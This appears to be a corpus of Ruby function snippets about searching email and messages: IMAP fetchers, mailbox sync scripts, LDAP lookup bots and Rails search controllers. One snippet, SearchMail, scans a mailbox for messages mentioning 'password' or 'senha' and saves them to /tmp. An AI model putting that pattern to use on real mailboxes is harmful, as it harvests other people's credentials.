"def run(message, flags)\n log message\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n messages = find_messages\n\n next if messages.empty?\n\n message_count += messages.length\n\n unless @noop then\n mark messages, flags\n else\n log \"Noop - not marking\"\n end\n\n yield messages if block_given?\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def private_messages_search\n raise Discourse::InvalidAccess.new if @guardian.anonymous?\n\n @search_pms = true # needed by posts_eager_loads\n posts =\n posts_scope(posts_eager_loads(posts_query(@opts[:limit], type_filter: @opts[:type_filter])))\n posts.each { |post| @results.posts << post }\n end",
"def search_messages(auth, server_id, options)\n options = URI.encode_www_form(options)\n MijDiscord::Core::API.request(\n :guilds_guild_messages_search,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/messages/search?#{options}\",\n Authorization: auth\n )\n end",
"def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end",
"def imap_readmail\n q = Queue.new\n imap.search([imap_search_for]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n mail = Mail.new(msg)\n case_id = get_case_id(mail)\n e = Email.create(case_id: case_id, date: mail.date, is_sent: false, raw: MailCompressor.compress_mail(msg), to: @email_account.user_name, from: mail.from[0].to_s, subject: mail.subject, body: mail.text_part.body.to_s)\n q.push(e)\n imap.store(message_id, '+FLAGS', [:Seen])\n end\n return q\n end",
"def find(options={}, &block)\n options = validate_options(options)\n\n start do |imap|\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n uids = imap.uid_search(options[:keys], options[:search_charset])\n uids.reverse! if options[:what].to_sym == :last\n uids = uids.first(options[:count]) if options[:count].is_a?(Integer)\n uids.reverse! if (options[:what].to_sym == :last && options[:order].to_sym == :asc) ||\n (options[:what].to_sym != :last && options[:order].to_sym == :desc)\n\n if block_given?\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822', 'FLAGS'])[0]\n new_message = Mail.new(fetchdata.attr['RFC822'])\n new_message.mark_for_delete = true if options[:delete_after_find]\n\n if block.arity == 4\n yield new_message, imap, uid, fetchdata.attr['FLAGS']\n elsif block.arity == 3\n yield new_message, imap, uid\n else\n yield new_message\n end\n\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find] && new_message.is_marked_for_delete?\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n else\n emails = []\n uids.each do |uid|\n uid = options[:uid].to_i unless options[:uid].nil?\n fetchdata = imap.uid_fetch(uid, ['RFC822'])[0]\n emails << Mail.new(fetchdata.attr['RFC822'])\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n end\n end",
"def search()\n @query_status = Query.for_queue(@queue)\n unless @query && @query_status\n return\n end\n\n total = 0\n results = []\n page = 1\n\n @last_twid = @query_status.last_twid\n\n loop do\n # App.log.info(\"last_twid: \" + @last_twid.to_s)\n results = fetch_page(page).select{|result| result.id.to_i > @last_twid }\n results.each{|result| add_to_queue(result)}\n total += results.size\n # unless results.size > 0\n update_query_status(total)\n break\n # end\n # page += 1\n end \n end",
"def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end",
"def phone_search(m, query)\n\n\t\t# Error-checking to sanitize input. i.e. no illegal symbols.\n\t\tif query =~ /[^\\w@._-]/\n\t\t\tm.reply \"Invalid search query '#{query}'\"\n\t\t\treturn\n\t\tend\t\n\t\tquery.downcase!\n\n\t\t# Determine what field to search and proceed to execute it.\n\t\tif query =~ /@pdx\\.edu/\n\t\t\tattribute = 'mailLocalAddress'\n\t\t# This is not useful anymore after the transition to Google Mail.\t\t\t\n\t\telsif query =~ /@/\n\t\t\treply << \"Error: Searching for forwarding addresses is now disabled; they are not\"\n\t\t\treply << \" stored in LDAP after the Google conversion.\"\n\t\t\tm.reply(reply)\n\t\t\treturn\n\t\telse\n\t\t\tattribute = 'uid'\n\t\tend\n\t\t\n\t\tldap_entry = ldap_search attribute,query\n\t\treply = String.new\n\t\t\n\t\tif (!ldap_entry)\n\t\t\treply = \"Error: LDAP query failed. Check configuration.\"\n\t\telse\n\t\t\t#\tPiece together the final results and print them out in user-friendly output.\n\t\t\tif ldap_entry['dn'].empty?\n\t\t\t\treply = \"No results for #{query}.\\n\"\n\t\t\telsif ldap_entry['telephonenumber'].empty?\n\t\t\t\treply = \"No results for #{query}.\\n\"\n\t\t\telsif ldap_entry['dn'].length > 1\n\t\t\t\t# Realistically this case should never happen because we filtered '*'\n\t\t\t\t# out of the search string earlier. If this comes up, something in LDAP\n\t\t\t\t# is really janky. The logic to account for this is here nonetheless,\n\t\t\t\t# just in case.\n\t\t\t\treply = \"Error: Too many results.\\n\"\n\t\t\telse\n\t\t\t\t#\tGet name and phone of the user.\n\t\t\t\tldap_entry['gecos'].each { |name| reply << \"Name: #{name}\\n\" }\n\t\t\t\tldap_entry['telephonenumber'].each { |phone| reply << \"Phone: #{phone}\\n\" }\n\t\t\tend\n\t\tend\n\n\t\tm.reply reply\n\t\treturn\n\tend",
"def send_query(event, page: nil)\n initial = page.nil?\n msg = fetch_message(event, initial)\n lvl = parse_highscoreable(msg, partial: true, array: true)\n format_level_matches(event, msg, page, initial, lvl, 'search')\nrescue => e\n lex(e, \"Error performing query.\", event: event)\nend",
"def index\n params[:q] ||= {}\n params[:q][:account_id_eq] = current_account.id unless current_account.admin?\n @message_search = DteMessage.ransack(params[:q])\n @message_search.sorts = 'sent_date desc'\n @messages = @message_search.result.includes(:dte).page(params[:page])\n end",
"def find_mailboxes\n mailboxes = @imap.list(@root, \"*\")\n\n if mailboxes.nil? then\n log \"Found no mailboxes under #{@root.inspect}, you may have an incorrect root\"\n return []\n end\n\n mailboxes.reject! { |mailbox| mailbox.attr.include? :Noselect }\n mailboxes.map! { |mailbox| mailbox.name }\n\n @box_re = /^#{Regexp.escape @root}#{Regexp.union(*@boxes)}/\n\n mailboxes.reject! { |mailbox| mailbox !~ @box_re }\n mailboxes = mailboxes.sort_by { |m| m.downcase }\n log \"Found #{mailboxes.length} mailboxes to search:\"\n mailboxes.each { |mailbox| log \"\\t#{mailbox}\" } if @verbose\n return mailboxes\n end",
"def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end",
"def phone_search(m, query)\n\n # Error-checking to sanitize input. i.e. no illegal symbols.\n if (query =~ /[^\\w@._-]/)\n m.reply(\"Invalid search query '#{query}'\")\n return\n end \n query.downcase!\n\n # Determine what field to search and proceed to execute it.\n if (query =~ /@pdx\\.edu/)\n attribute = 'mailLocalAddress'\n else\n attribute = 'uid'\n end\n \n result = $oitldap.search(attribute,query)\n reply = String.new()\n \n # Check for errors.\n if (!result)\n reply = \"Error: LDAP query failed. Check configuration.\"\n else\n if (result['dn'].empty?)\n reply = \"No results for #{query}.\\n\"\n elsif (result['telephonenumber'].empty?)\n reply = \"No results for #{query}.\\n\"\n elsif (result['dn'].length > 1)\n reply = \"Error: Too many results.\\n\"\n else\n # Piece together the final results and print them out in user-friendly output.\n result['gecos'].each { |name| reply << \"Name: #{name}\\n\" }\n result['telephonenumber'].each { |phone| reply << \"Phone: #{phone}\\n\" }\n end\n end\n\n m.reply(reply)\n return\n end",
"def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end",
"def SearchMail(auth,rex=nil)\n if (auth)\n\t if (rex.nil?)\n re = %r{([pP]assword)|([sS]enhas?)}\n\t else\n\t re = Regexp.new(rex.to_s)\n\t end\n puts \" ==== #{auth.mails.length} messages === \"\n auth.mails.each_with_index do |msg,index|\n File.open(\"/tmp/inbox/#{index}\", 'w') do |output|\n puts \" === downloading... #{index} === \"\n puts \" === scan result: #{msg.pop.scan(re).nil?} === \"\n output.write msg.pop unless (msg.pop.scan(re).nil?)\n end\n end\n end\n auth.finish\n end",
"def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end",
"def search(query); end",
"def get_email_text(search_array, timeout=600, delete=true, since_sec=3600)\n # Only look for emails that have come in since the last hour\n since = Time.now - since_sec\n imap_search_terms = search_array.dup.push(\"SINCE\", since.strftime('%d-%b-%Y'))\n @log.debug(\"Searching for email with query: #{imap_search_terms}\")\n\n super imap_search_terms, timeout, delete, since_sec\n end",
"def imap_select_inbox\n imap.select('INBOX')\n end",
"def show_messages\n @messages = get_user.messages.search(params[:page])\n end",
"def search\n messages = Message.search search_params.merge!(messager_id: current_user.id)\n\n render json: MessageSerializer.new(messages).serialize\n end",
"def search(params = {})\n @client.call(method: :get, path: 'message-events', query_values: params)\n end",
"def search\n user = User.qa_app_user\n text = URI.decode(params[:search])\n @chatouts = Qa.search_feed(user, Qa::GROUP_ID , text)\n end",
"def handle_search(query)\n @results = search query unless query.empty?\n\n prompt_for_selection(query)\nend",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def execute(m, query)\n\t\t\n\t\treply = String.new\n\t\t\n\t\t# Error-checking to sanitize input. i.e. no illegal symbols.\n\t\tif query =~ /[^\\w@._-]/\n\t\t\tm.reply \"Invalid search query '#{query}'\"\n\t\t\treturn\n\t\tend\t\n\n\t\tquery.downcase!\n\t\t\n\t\t# Determine what field to search and proceed to execute it.\n\t\tif query =~ /@pdx\\.edu/\n\t\t\ttype = 'email alias'\n\t\t\tattribute = 'mailLocalAddress'\n\t\t# This is not useful anymore after the transition to Google Mail.\t\t\t\n\t\telsif query =~ /@/\n\t\t\treply << \"Error: Searching for forwarding addresses is now disabled; they are not\"\n\t\t\treply << \" stored in LDAP after the Google conversion.\"\n\t\t\tm.reply(reply)\n\t\t\treturn\n\t\telse\n\t\t\ttype = 'username'\n\t\t\tattribute = 'uid'\n\t\tend\n\t\tm.reply \"Performing LDAP search on #{type} #{query}.\"\n\t\t\n\t\tldap_entry = ldap_search attribute,query\n\t\t\n\t\tif (!ldap_entry)\n\t\t\tm.reply \"Error: LDAP query failed. Check configuration.\"\n\t\telse\n\t\t\t#\tPiece together the final results and print them out in user-friendly output.\n\t\t\tif ldap_entry['dn'].empty?\n\t\t\t\treply = \"Error: No results.\\n\"\n\t\t\telsif ldap_entry['dn'].length > 1\n\t\t\t\t# Realistically this case should never happen because we filtered '*'\n\t\t\t\t# out of the search string earlier. If this comes up, something in LDAP\n\t\t\t\t# is really janky. The logic to account for this is here nonetheless,\n\t\t\t\t# just in case.\n\t\t\t\treply = \"Error: Too many results.\\n\"\n\t\t\telse\n\t\t\t\t#\tGet name, username and dept of the user.\n\t\t\t\tldap_entry['gecos'].each { |name| reply << \"Name: #{name}\\n\" }\n\t\t\t\tldap_entry['uid'].each { |uid| reply << \"Username: #{uid}\\n\" }\n\t\t\t\tldap_entry['ou'].each { |dept| reply << \"Dept: #{dept}\\n\" }\n\t\t\t\t\n\t\t\t\t# Determine if the user has opted-in to Google Mail.\n\t\t\t\tldap_entry['mailhost'].each do |mhost|\n\t\t\t\t\tif mhost =~ /gmx.pdx.edu/\n\t\t\t\t\t\treply << \"Google: yes\\n\"\n\t\t\t\t\telse\n\t\t\t\t\t\treply << \"Google: no\\n\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Determine if this is a sponsored account, and if so, who the sponsor is.\n\t\t\t\tif ldap_entry['psusponsorpidm'].empty?\n\t\t\t\t\treply << \"Sponsored: no\\n\"\n\t\t\t\telse\n\t\t\t\t\t# Look up sponsor's information.\n\t\t\t\t\treply << \"Sponsored: yes\\n\"\n\t\t\t\t\tsponsor_uniqueid = ldap_entry['psusponsorpidm'][0]\n\t\t\t\t\t# Fix some malformed psusponsorpidms.\n\t\t\t\t\tif (!(sponsor_uniqueid =~ /^P/i))\n\t\t\t\t\t\tsponsor_uniqueid = \"P\" + sponsor_uniqueid\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tldap_sponsor_entry = ldap_search \"uniqueIdentifier\",sponsor_uniqueid\n\t\t\t\t\n\t\t\t\t\tsponsor_name = ldap_sponsor_entry['gecos'][0]\n\t\t\t\t\tsponsor_uid = ldap_sponsor_entry['uid'][0]\n\t\t\t\t\treply << \"Sponsor: #{sponsor_name} (#{sponsor_uid})\\n\"\n\t\t\t\tend\n\t\t\t\n\t\t\t\t# Determine the account and password expiration dates. Also, estimate the date the\n\t\t\t\t# password was originally set by subtracting 6 months from the expiration date.\n\t\t\t\tldap_entry['psuaccountexpiredate'].each do |acctexpiration|\n\t\t\t\t\td = parse_date acctexpiration\n\t\t\t\t\treply << \"Account expires: #{d.asctime}\\n\"\n\t\t\t\tend\n\t\t\t\tldap_entry['psupasswordexpiredate'].each do |pwdexpiration|\n\t\t\t\t\td = parse_date pwdexpiration\n\t\t\t\t\treply << \"Password expires: #{d.asctime}\\n\"\n\t\t\t\t\t# Calculate the date/time that the password was set.\n\t\t\t\t\tday = 86400 # seconds\n\t\t\t\t\te = d - (180 * day)\n\t\t\t\t\treply << \"Password was set: #{e.asctime}\\n\"\n\t\t\t\tend\n\t\t\t\n\t\t\t\t# Determine if email is being forwarded to an external address.\n\t\t\t\tldap_entry['mailroutingaddress'].each do |forward|\n\t\t\t\t\t# If they are on Google, we cannot tell if they are forwarding.\n\t\t\t\t\tif ldap_entry['mailhost'][0] =~ /gmx.pdx.edu/\n\t\t\t\t\t\treply << \"Email forwarded to: Unable to determine with Gmail.\\n\"\n\t\t\t\t\telse\n\t\t\t\t\t\treply << \"Email forwarded to: #{forward}\\n\"\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Print out any email aliases.\n\t\t\t\tldap_entry['maillocaladdress'].each { |email_alias| reply << \"Email alias: #{email_alias}\\n\" }\n\t\t\tend\n\t\t\t# Send results via PM so as to not spam the channel.\n\t\t\tUser(m.user.nick).send(reply)\n\t\tend\n\n\tend",
"def search(query)\n alert_setup_incomplete && return unless is_setup_ok?\n client = get_client\n query = \"tag:#{query}\" if options[:tag]\n client.search query\n end",
"def search(query, qrserver_id=0, requestheaders = {}, verbose = false, params = {})\n search_with_timeout(10, query, qrserver_id, requestheaders, verbose, params)\n end",
"def search(query)\n # need to handle invalid data\n q = query.blank? ? DEFAULT_SEARCH_QUERY : query\n @client.search(q, lang: 'en', result_type: 'recent').take(20)\n end",
"def find_by_message_id(message_id)\n @gmail.inbox.find(message_id: message_id)\n end",
"def get_messages where = \"inbox\", opts = {}\n query = {\n mark: false\n }\n query.merge! opts\n get(\"/message/#{where}.json\", query: query)\n end",
"def parse_search(q)\n # TODO continue\n end",
"def search_inbound_messages(opts = {})\n data, _status_code, _headers = search_inbound_messages_with_http_info(opts)\n data\n end",
"def auto_complete_for_message_to\n q = params[:message][:to] if params[:message]\n render :nothing => true if q.blank?\n @users = User.find(:all, :order => \"login ASC\", :conditions => [\"login LIKE ?\", \"%#{q}%\"], :limit => 10)\n render :inline => \"<%= content_tag(:ul, @users.map { |u| content_tag(:li, h(u.login)) }) %>\"\n end",
"def search(query)\n @all.each_with_object([]) do |record, matches|\n matches << record if ((record['866']['t'] == query) || (record['866']['s'] == query))\n end\n end",
"def query_search(query, options={})\n run_query query, options\n end",
"def find(query)\n @to_dos.each { |item| puts item if item.data.downcase.include?(query.downcase) }\n end",
"def search(query)\n @search_svc.search query\n end",
"def query(q, page=1, s=150)\r\n b = Tire.search(name) do\r\n query do\r\n string q, default_operator: \"AND\", default_field: \"message\"\r\n end\r\n highlight :message, :options => { :tag => '<span class=\"label\">' }\r\n sort do\r\n by \"time\", 'desc'\r\n end\r\n from (page.to_i - 1) * s\r\n size s.to_i\r\n end\r\n #logger.debug(b.to_json)\r\n\r\n end",
"def search\n @conversations = []\n @conversation_highlights = {}\n keyword = remove_conjunctions_and_articles(params[:keyword])\n @tag_filter = params[:tag_filter]\n\n if keyword.blank?\n @conversations = Conversation.all\n flash.now[:danger] = \"You didn't enter any keyword\"\n else\n if get_keyword_count(keyword) == 1\n @search_result_and = conversation_part_search(keyword, AND)\n @search_result_or = @search_result_and\n else\n @search_result_and = conversation_part_search(keyword, AND)\n @search_result_or = conversation_part_search(keyword, OR)\n end\n @conversation_parts = @search_result_and.any? ? @search_result_and : @search_result_or\n @conversation_parts.with_highlights.each do |conversation_part, highlights|\n highlights_body = highlights[:sanitized_conversation_part_body]\n if get_matching_score(highlights_body, keyword) >= MINIMUM_MATCHING_SCORE\n conversation = conversation_part.conversation\n if @tag_filter == ALL\n @conversations << conversation unless @conversations.include?(conversation)\n else\n @conversations << conversation unless @conversations.include?(conversation) ||\n conversation.tags.include?(Tag.find_by_name(@tag_filter)) == false\n end\n if @conversation_highlights.keys.include? conversation\n @conversation_highlights[conversation] << highlights_body\n else\n @conversation_highlights[conversation] = [highlights_body]\n end\n end\n end\n end\n @conversations = @conversations.paginate(page: params[:page], per_page: 10)\n @tags = Tag.all\n render 'conversations/index'\n end",
"def messages\n selected_label = params[:label].blank? ? 'INBOX' : params[:label]\n \n begin\n\n unless selected_label.blank?\n @imap = WmailImapUtils.current_imap\n @imap.select(selected_label)\n @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN'])\n max = @status['MESSAGES']\n min = @status['MESSAGES']-10\n @max = 10\n @min = 1\n @mailbox = selected_label\n @inbox = []\n\n min = 1 if (max <= 10 and max > 0)\n\n @inbox = @imap.fetch(min..max, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n @imap.expunge\n end\n\n session[:selected_label] = selected_label\n \n respond_to do|format|\n format.html\n format.js\n end\n\n rescue\n\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n \n end\n \n end",
"def scan(&block)\n @processor = block if block\n incoming_config = config.incoming\n if incoming_config.nil?\n logger.error(\"Not scanning for incoming mail, since environment is '#{Kernel.environment}'\")\n return\n end\n\n say \"Starting scan at #{Time.now}\"\n c,e,n = nil,nil\n\n begin\n imap = Net::IMAP.new(incoming_config.server, incoming_config.port, true)\n imap.login(incoming_config.user, incoming_config.secret)\n imap.select('INBOX')\n messages = imap.search([\"NOT\", \"DELETED\"])\n n = messages.size\n c = e = 0\n messages.each do |message_id|\n received_message = nil\n rfc822 = imap.fetch(message_id, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n received_message = receive(rfc822)\n say \"Processed message #{received_message.mail.subject}\"\n c += 1\n rescue Exception => exception\n # todo: move message into an \"error\" folder so it doesn't get reprocessed, but don't delete it\n report_exception(exception)\n say \"Error processing message #{message_id}: #{exception.class.name}: #{exception.message}\"\n e += 1\n ensure\n if received_message && received_message.delete?\n say \"Deleting message #{message_id}\"\n imap.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end\n end\n\n imap.close # Sends a CLOSE command to close the currently selected mailbox. The CLOSE command permanently removes from the mailbox all messages that have the \\Deleted flag set.\n imap.logout\n imap.disconnect\n # NoResponseError and ByeResponseError happen often when imap'ing\n rescue Net::IMAP::NoResponseError, Net::IMAP::ByeResponseError, Errno::ENOTCONN\n # ignore\n rescue Exception => e\n report_exception(e)\n end\n say \"Processed #{c.inspect} of #{n.inspect} emails received (#{e} errors).\"\n end",
"def index\n @q = @current_shop.message_threads.order('last_update_time').search(params[:q])\n @message_threads = @q.result(distinct: true).paginate(:page => params[:page], :per_page => 25)\n end",
"def search_for(query, opts = {})\n logger.info \"Searching for #{query.inspect}\"\n opts = opts.dup\n repeat = opts.delete(:repeat)\n perform_search(query, opts) do |response|\n if repeat && response.max_id?\n logger.info \"Scheduling next search iteration for #{query.inspect}\"\n EM.add_timer(DELAY_SEARCH) do\n opts[:repeat] = true\n opts[:since_id] = response.max_id\n search_for(query, opts)\n end\n end\n end\n end",
"def search(query, limit: 'max', &processor)\n list(@api.query.generator(:search).search(query), limit, &processor)\n end",
"def getAllMessagesForUser(index, group_id, user_id)\n query = {\n \"size\" => 100000,\n \"query\" => {\n \"bool\" => {\n \"must\" => [\n { \n \"term\" => { \n \"user_id\" => \"#{user_id}\" \n }\n },\n {\n \"term\" => { \n \"group_id\" => \"#{group_id}\" \n }\n }\n ]\n }\n }\n }\n self.class.get(\"#{index}/message/_search\", :body => query.to_json)\n end",
"def receive_query(query)\n done\n end",
"def index\n @message_filter = MessageFilter.new(MessageFilter.params(params))\n @messages, @pagination_collection =\n Message.list_paginated_messages(current_user, params[:page], @message_filter)\n # Determines when the find functionality is executed in index page of messages\n @on_filter_find = !params[:dashboard_message_filter].nil?\n end",
"def messagebox\n\t\t# retrieve all messages and unread messages of current user\n @user = current_user\n @messages = Message.paginate_by_receiver_id @user.id, :page => params[:page], :order => 'created_at DESC', :per_page => 10\n @unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n end",
"def index\n \n # puts \" begin \"\n # puts User.findUser(params[:user_email]).inspect #Message.where(reciever: params[:user_id])\n # puts \" end \"\n \n @messages = Message.where(reciever: User.findUser(params[:user_email]).id)\n end",
"def read_messages_via_imap\n\timap = Net::IMAP.new(server,port,usessl)\n\timap.login(mailid,password)\n\timap.select(folder)\n\tsince = included.blank? ? \"1-Jan-2000\" : included.yesterday.to_date.strftime(\"%e-%b-%Y\")\n\timap.uid_search([\"SINCE\",since]).each do |msg_id|\n\t\tnext unless mailmessages.find_by_uid(msg_id).nil?\n\t\tbody = imap.uid_fetch(msg_id,['RFC822']).first.attr['RFC822']\n\n\t\tMailfolderMailhandler::receive(body,self,msg_id)\n\t\timap.store(msg_id, \"+FLAG\", [:Deleted]) if delete_message?\n\tend\n\timap.expunge if delete_message?\n\timap.logout\n end",
"def google(m, query)\n m.reply(search(query))\n end",
"def index\n @users = User.all\n if current_user.role? :supervisor\n @search = current_user.posted.search(params[:q])\n @messages = @search.result.page(params[:page]).per(current_user.list_page_size)\n elsif current_user.role? :admin\n @search = Message.search(params[:q])\n @messages = @search.result.page(params[:page]).per(current_user.list_page_size)\n end \n \n @search_inbox = current_user.user_messages.search(params[:q])\n @inboxes = @search_inbox.result.page(params[:page]).per(current_user.list_page_size)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end",
"def search(query)\n print_id.each do |contact|\n found = false\n contact.each do |column|\n if column.include? query\n found = true\n puts contact\n end\n end\n end\n end",
"def mailing_searches(id, params = {})\n get(\"/mailings/#{id}/searches\", params)\n end",
"def search(query, options = {}); end",
"def search\n params_map = ActiveSupport::HashWithIndifferentAccess.new(params[:query])\n @result = Property.where(:address => params_map[:address]).take\n if @result\n @manager = Manager.find(@result.manager_id)\n flash.clear\n render 'search'\n else\n flash[:notice] = \"Your search returned no results.\"\n render 'search'\n end\n end",
"def message\n case @remove\n when 'one'\n puts \"There are no emails #{@search_direction} #{@email} found in the queue\"\n when 'all'\n puts \"There are no emails #{@search_direction} #{@domain} found in the queue\"\n end\n end",
"def log_query\n if search_in_params?\n @log_query = filter_query(params_q_scrubbed)\n else\n @log_query = \"\"\n end\n end",
"def post_init\n @m_search_count.times do\n if send_datagram(@search, MULTICAST_IP, MULTICAST_PORT) > 0\n log \"Sent datagram search:\\n#{@search}\"\n end\n end\n end",
"def search(query, delegate)\n validate_delegate(delegate)\n\n delegate.inspector_started_query(query, inspector)\n\n url = url_for_request query\n results = get_api_results url\n report = parse_results query, results\n\n # TODO: downloading\n # error handling\n # progress callback\n\n if report.issues.any?\n delegate.inspector_successfully_recieved_report(report, inspector)\n else\n delegate.inspector_recieved_empty_report(report, inspector)\n end\n\n report\n end",
"def find_events(query)\n event_lookup(\"?q=#{query}\")\n end",
"def find_events(query)\n event_lookup(\"?q=#{query}\")\n end",
"def find_nearest_mailboxes(search, distance, depth)\n location = Location.near(search, distance, :order => :distance)\n if !location.empty?\n if depth > 1\n flash[:notice] = 'No Mailboxes found very close to you; search area expanded.'\n end\n @mailboxes = location.map(&:mailbox).compact\n else\n sleep(0.5)\n find_nearest_mailboxes(search, distance * DISTANCE_MULTIPLIER, depth + 1)\n end\n end",
"def search(query, page = 0)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/files/list?parent_id=%i' % [folder]).files\n end",
"def search(query)\n return [] if query.nil?\n\n @atoms = @storage.fetch(cleanup_atoms(query), query[/\\^/])\n queries = parse_query(query.dup)\n positive = run_queries(queries[:positive])\n positive_quoted = run_quoted_queries(queries[:positive_quoted])\n negative = run_queries(queries[:negative])\n negative_quoted = run_quoted_queries(queries[:negative_quoted])\n starts_with = run_queries(queries[:starts_with], true)\n start_quoted = run_quoted_queries(queries[:start_quoted], true)\n\n results = ActiveSupport::OrderedHash.new\n\n if queries[:start_quoted].any?\n results = merge_query_results(results, start_quoted)\n end\n\n if queries[:starts_with].any?\n results = merge_query_results(results, starts_with)\n end\n\n if queries[:positive_quoted].any?\n results = merge_query_results(results, positive_quoted)\n end\n\n if queries[:positive].any?\n results = merge_query_results(results, positive)\n end\n\n negative_results = (negative.keys + negative_quoted.keys)\n results.delete_if { |r_id, w| negative_results.include?(r_id) }\n results\n end",
"def index\n @search = MessagingSearch.new(params[:search])\n @messagings = @search.scope\n end",
